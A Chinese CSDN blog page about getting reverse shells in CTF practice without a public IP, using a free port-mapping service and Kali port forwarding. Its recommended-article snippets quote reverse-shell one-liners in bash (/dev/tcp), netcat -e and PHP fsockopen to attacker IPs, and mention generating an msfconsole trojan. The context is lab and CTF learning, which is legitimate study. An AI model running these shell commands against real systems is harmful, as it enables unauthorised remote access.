无公网IP反弹shell

最新推荐文章于 2025-05-06 13:49:08 发布
最新推荐文章于 2025-05-06 13:49:08 发布
阅读量302 收藏 6
点赞数 9
文章标签： 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_73377360/article/details/143313590
版权

打ctf时有些题目需要反弹shell，穷学生买不起服务器，在网上搜寻了很久，终于发现了这个方法，参考这个视频

使用贝锐花生壳(免费的)，注册账号，进入管理平台，添加映射

windous安装花生壳，登录，可以看到

kali使用net模式，添加端口转发

最低0.47元/天 解锁文章
☆477
关注
公网IP和内网IP的区别
猫敷雪
12-07 6206
最近在学习shell反弹这块的时候，在向源主机发送报文的时候，由于不了解公网IP和内网IP的区别，导致在监听端口这块一直没有捕获到信息，后来才知道是因为我用的公司的局域网是192开头的，属于内网，因此只能在内部进行通信，而不能与其他网络互连。因为本网络中的保留地址同样也可能被其他网络使用，如果进行网络互连，那么寻找路由时就会因为地址的不唯一而出现问题。因此总结下内网和公网的区别。 内网，一般来说，也就是局域网，我们可以把局域网理解成一个小家庭，然后给我们每个家庭的成员都编上号，比如张三是192.168.1.
没有公网服务器的情况下，建立反弹 Shell
qq_46143339的博客
03-13 708
通过云服务（如AWS Lambda、腾讯云函数）作为中继节点。：通过第三方服务将内网端口映射到公网域名，绕过公网IP限制。：已有内网某主机的控制权，通过该主机转发流量。：目标机可访问外网但无法直接建立TCP连接。
网络安全之反弹Shell
小飞的博客
04-12 1967
在网络安全和渗透测试领域，“正向Shell”（Forward Shell）和"反向Shell"（Reverse Shell）是两种常用的技术手段，用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令，但它们在建立连接的方式上有所不同。
无公网ip反弹shell
lq22222的博客
10-06 813
因为在kali虚拟上配置的，想要直接在kali虚拟机上面监听，所以内网主机ip地址我们这里选择127.0.0.1，端口任意大数字，我们选择54321，其他都默认，点击确定，这样我们的公网ip就配置好了。相信师傅们在打ctf靶场时都会遇到一个问题，就是部分题目需要一个有公网ip的服务器来反弹shell，但是vps很难找到免费的；这里就给大家推荐一个好用的平台————贝锐花生壳。映射类型选择TCP，映射模板选择SSH服务，然后外网域名下拉就会出现一个随机分配的域名，直接选上即可。此时再看kali终端。
无公网ip反弹shel
m0_52432374的博客
04-30 519
【Try to Hack】无公网ip如何反弹shell
开心星人的博客
06-19 2203
内网kali端口监听 进行内网穿透，下载花生壳(免费的)，需要注册才可以下载 https://www.oray.com/ 点击映射数，会跳转到浏览器 点击新增映射 内网主机为kali的IP 分配了域名和端口打开一个题目 传参 s546459d57.zicp.fun 23494为分配的域名和端口反弹shell...
无需公网IP反弹shell
qq_74263993的博客
08-22 391
Windows10（关掉病毒实时查杀，尽量别开防火墙）5.上传木门到Windows10并运行拿到shell。kali机（网络畅通，具有ipv6地址）3.设置msfconsole，生成木马。2.查看自己的ipv6地址。1.启动kali提权。
公网实现反弹shell
07-27
举个例子，如果你想在受害机CentOS 7上生成一个反弹shell，连接到宿主机的公网IP地址为10.8.163.224，端口为6666，可以使用以下命令实现端口转发，从而连接到Kali虚拟机上： bash -i >& /dev/tcp/10.8.163.224/6666 ...
网络安全 day5 --- 反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
2302_81156108的博客
09-07 2222
学习网络安全的一些心得希望对大家起到一些帮助
【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端，受害者主机（无公网IP）主动连接攻击者的服务端程序（CC server），开启一个shell交互，就叫反弹shell。...
djph26741的博客
07-09 1201
反弹shell背景： 想要搞清楚这个问题，首先要搞清楚什么是反弹，为什么要反弹。假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。 那么什么情况下正向连接不太好用了呢？1.某客户机中了你的网马，但是它在局域网内，你...
常用反弹 shell 方式总结
未完成的歌~的博客
03-07 6519
反弹shell，就是攻击机监听在某个TCP/UDP端口为服务端，目标机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。
渗透测试——利用公网反弹shell到本地的两种方式，vmware虚拟机与主机的端口转发，本地ssh无法上线的问题解决
SYH885的博客
07-24 1562
使用花生壳给定的端口对应至宿主机的1111端口并转发到虚拟机的1112端口，然后我们监听1112端口即可，测试是否可反弹shell。此时访问 x.x.x.x:7500 并使用自己设置的用户名密码登录，即可看到仪表板界面。成功转发并连接这里使用的是普通用户，因为不能连上超级用户，进去后su一下就好了。这边看见直接上线，分别是两台不同的主机的两台不同虚拟机的不同系统，试验成功。优势：长期使用，无需虚拟机转发，无需宿主机。这里都是192，是因为名字一样，但是IP电脑都不是一样。添加59955端口到策略才能成功。
如何用内网虚拟机kali实现反弹shell
热门推荐
qq_44657899的博客
05-23 1万+
文章目录实验环境设置端口转发反弹shell验证为什么要反弹shell？ 这里我讲述的是NAT模式下的反弹shell，因为个人感觉NAT模式方便一点。 实验环境 攻击机：kali虚拟机（位于内网） ip：192.168.77.128 宿主机：win10（位于外网） ip：10.8.163.224 受害端：centos-7 设置端口转发 虚拟机集群此时相当于在内网中，而要实现反弹shell，我们的受害端centos7必须要能够连接我们的虚拟机kali。可以通过端口转发的功能来实现，比如我
端口映射后的公网反弹shell
来到了学渣的博客
04-01 3609
前言： 渗透一个网站最后获取该web服务器权限的时候，可能会思考，如何把公网的IP反弹到自己内网（私有ip）的虚拟机上？这时候我们就需要把内网的ip和端口映射成一个公网的ip和端口从而实现内网穿透。 这里我用的是NATAPP，一个基于ngrok的国内高速内网转发工具 https://natapp.cn/register 首先快速注册，然后购买免费隧道（非常适合我这样的穷学生） 我这里用的是TC...
内网渗透---反弹shell详解（内有各种姿势的详细过程）
weixin_45588247的博客
04-08 5855
声明：文章技术仅供网络安全技术人员及白帽子使用，任何个人或组织不可用于 违法犯罪，一经发现直接上报国家安全机关处理. 反弹shell 反弹shell: 在攻击者机器获得受害者机器的命令行。 文章目录反弹shell背景：正向反弹shell：目的：前提：实验环境：网络拓扑：实验步骤：反向反弹shell：目的：前提：实验环境：网络拓扑：实验步骤：其他方式反弹shell：msf反弹：实验环境：实验步骤：bash反弹：实验环境：实验步骤：python反弹：实验环境：实验步骤：php反弹：实验环境：实验步骤：p.
反弹shell
YouthBelief的博客
12-05 1383
搭建http服务 python2 搭建http服务 python -m SimpleHTTPServer 8080 python3 搭建http服务 python -m http.server 8080 反弹shell nc -e /bin/bash -d 192.168.157.137 8080 php -r ‘$sock=fsockopen(“192.168.157.137”,8080);exec("/bin/sh -i <&3 >&3 2>&3");’ 解决s
美团后端开发一面
最新发布
weixin_54385104的博客
05-06 627
内存中；单线程多路复用；数据结构优秀，举了sds和跳表例子；
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值